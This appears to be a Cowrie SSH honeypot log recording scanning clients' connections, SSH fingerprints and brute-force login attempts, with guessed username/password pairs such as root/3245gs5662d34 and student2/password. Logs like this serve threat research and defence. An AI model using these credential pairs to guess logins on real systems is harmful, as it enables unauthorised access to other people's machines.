{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:35.151675Z","src_ip":"103.61.123.132","session":"a65b58d8583e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:35.418883Z","src_ip":"103.61.123.132","session":"a65b58d8583e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:36.504247Z","src_ip":"103.61.123.132","session":"a65b58d8583e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:37.770547Z","src_ip":"103.61.123.132","session":"a65b58d8583e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.61.123.132","src_port":34534,"dst_ip":"10.17.0.5","dst_port":22,"session":"26a5498cc5be","protocol":"ssh","message":"New connection: 103.61.123.132:34534 (10.17.0.5:22) [session: 26a5498cc5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:38.010197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:38.014984Z","src_ip":"103.61.123.132","session":"26a5498cc5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:38.267772Z","src_ip":"103.61.123.132","session":"26a5498cc5be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:39.308387Z","src_ip":"103.61.123.132","session":"26a5498cc5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:39.564128Z","src_ip":"103.61.123.132","session":"26a5498cc5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:39.569001Z","src_ip":"103.61.123.132","session":"563486869911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44230,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74db9d79876","protocol":"ssh","message":"New connection: 2.57.122.208:44230 (10.17.0.5:22) [session: e74db9d79876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:40.618124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:40.662625Z","src_ip":"2.57.122.208","session":"e74db9d79876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:40.724509Z","src_ip":"2.57.122.208","session":"e74db9d79876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:41.244988Z","src_ip":"2.57.122.208","session":"e74db9d79876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:42.484468Z","src_ip":"2.57.122.208","session":"e74db9d79876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":41550,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a43e2a3d57","protocol":"ssh","message":"New connection: 103.193.178.240:41550 (159.203.135.109:22) [session: 21a43e2a3d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:44.098786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:44.102281Z","src_ip":"103.193.178.240","session":"21a43e2a3d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:44.341185Z","src_ip":"103.193.178.240","session":"21a43e2a3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":39250,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb4c5f695181","protocol":"ssh","message":"New connection: 165.154.6.89:39250 (10.17.0.5:22) [session: fb4c5f695181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:44.925830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:44.929654Z","src_ip":"165.154.6.89","session":"fb4c5f695181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:45.147240Z","src_ip":"165.154.6.89","session":"fb4c5f695181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"website","password":"123","message":"login attempt [website/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:45.457345Z","src_ip":"103.193.178.240","session":"21a43e2a3d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student2","password":"password","message":"login attempt [student2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:46.047570Z","src_ip":"165.154.6.89","session":"fb4c5f695181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:46.697803Z","src_ip":"103.193.178.240","session":"21a43e2a3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:53:47.266539Z","src_ip":"165.154.6.89","session":"fb4c5f695181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":34726,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e9096d9dbc","protocol":"ssh","message":"New connection: 128.201.200.162:34726 (10.17.0.5:22) [session: 42e9096d9dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:04.281059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:04.285540Z","src_ip":"128.201.200.162","session":"42e9096d9dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:04.398395Z","src_ip":"128.201.200.162","session":"42e9096d9dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root11234","message":"login attempt [root1/root11234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:04.882036Z","src_ip":"128.201.200.162","session":"42e9096d9dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:05.997197Z","src_ip":"128.201.200.162","session":"42e9096d9dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":46800,"dst_ip":"10.17.0.5","dst_port":22,"session":"52cef9c89ed6","protocol":"ssh","message":"New connection: 152.52.15.213:46800 (10.17.0.5:22) [session: 52cef9c89ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:22.831870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:22.836104Z","src_ip":"152.52.15.213","session":"52cef9c89ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:23.055672Z","src_ip":"152.52.15.213","session":"52cef9c89ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns31234","message":"login attempt [gns3/gns31234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:23.960438Z","src_ip":"152.52.15.213","session":"52cef9c89ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:25.180557Z","src_ip":"152.52.15.213","session":"52cef9c89ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":19711,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c7f38b84cb5","protocol":"ssh","message":"New connection: 42.112.42.129:19711 (10.17.0.5:22) [session: 4c7f38b84cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:53.938745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:53.942655Z","src_ip":"42.112.42.129","session":"4c7f38b84cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:54.188132Z","src_ip":"42.112.42.129","session":"4c7f38b84cb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tian","password":"12345","message":"login attempt [tian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:55.481174Z","src_ip":"42.112.42.129","session":"4c7f38b84cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:54:56.728816Z","src_ip":"42.112.42.129","session":"4c7f38b84cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59558,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9a1484ca4d7","protocol":"ssh","message":"New connection: 2.57.122.210:59558 (159.203.135.109:22) [session: f9a1484ca4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:14.209192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:14.213829Z","src_ip":"2.57.122.210","session":"f9a1484ca4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:14.330244Z","src_ip":"2.57.122.210","session":"f9a1484ca4d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:55:14.628963Z","src_ip":"2.57.122.210","session":"f9a1484ca4d7","protocol":"ssh"}
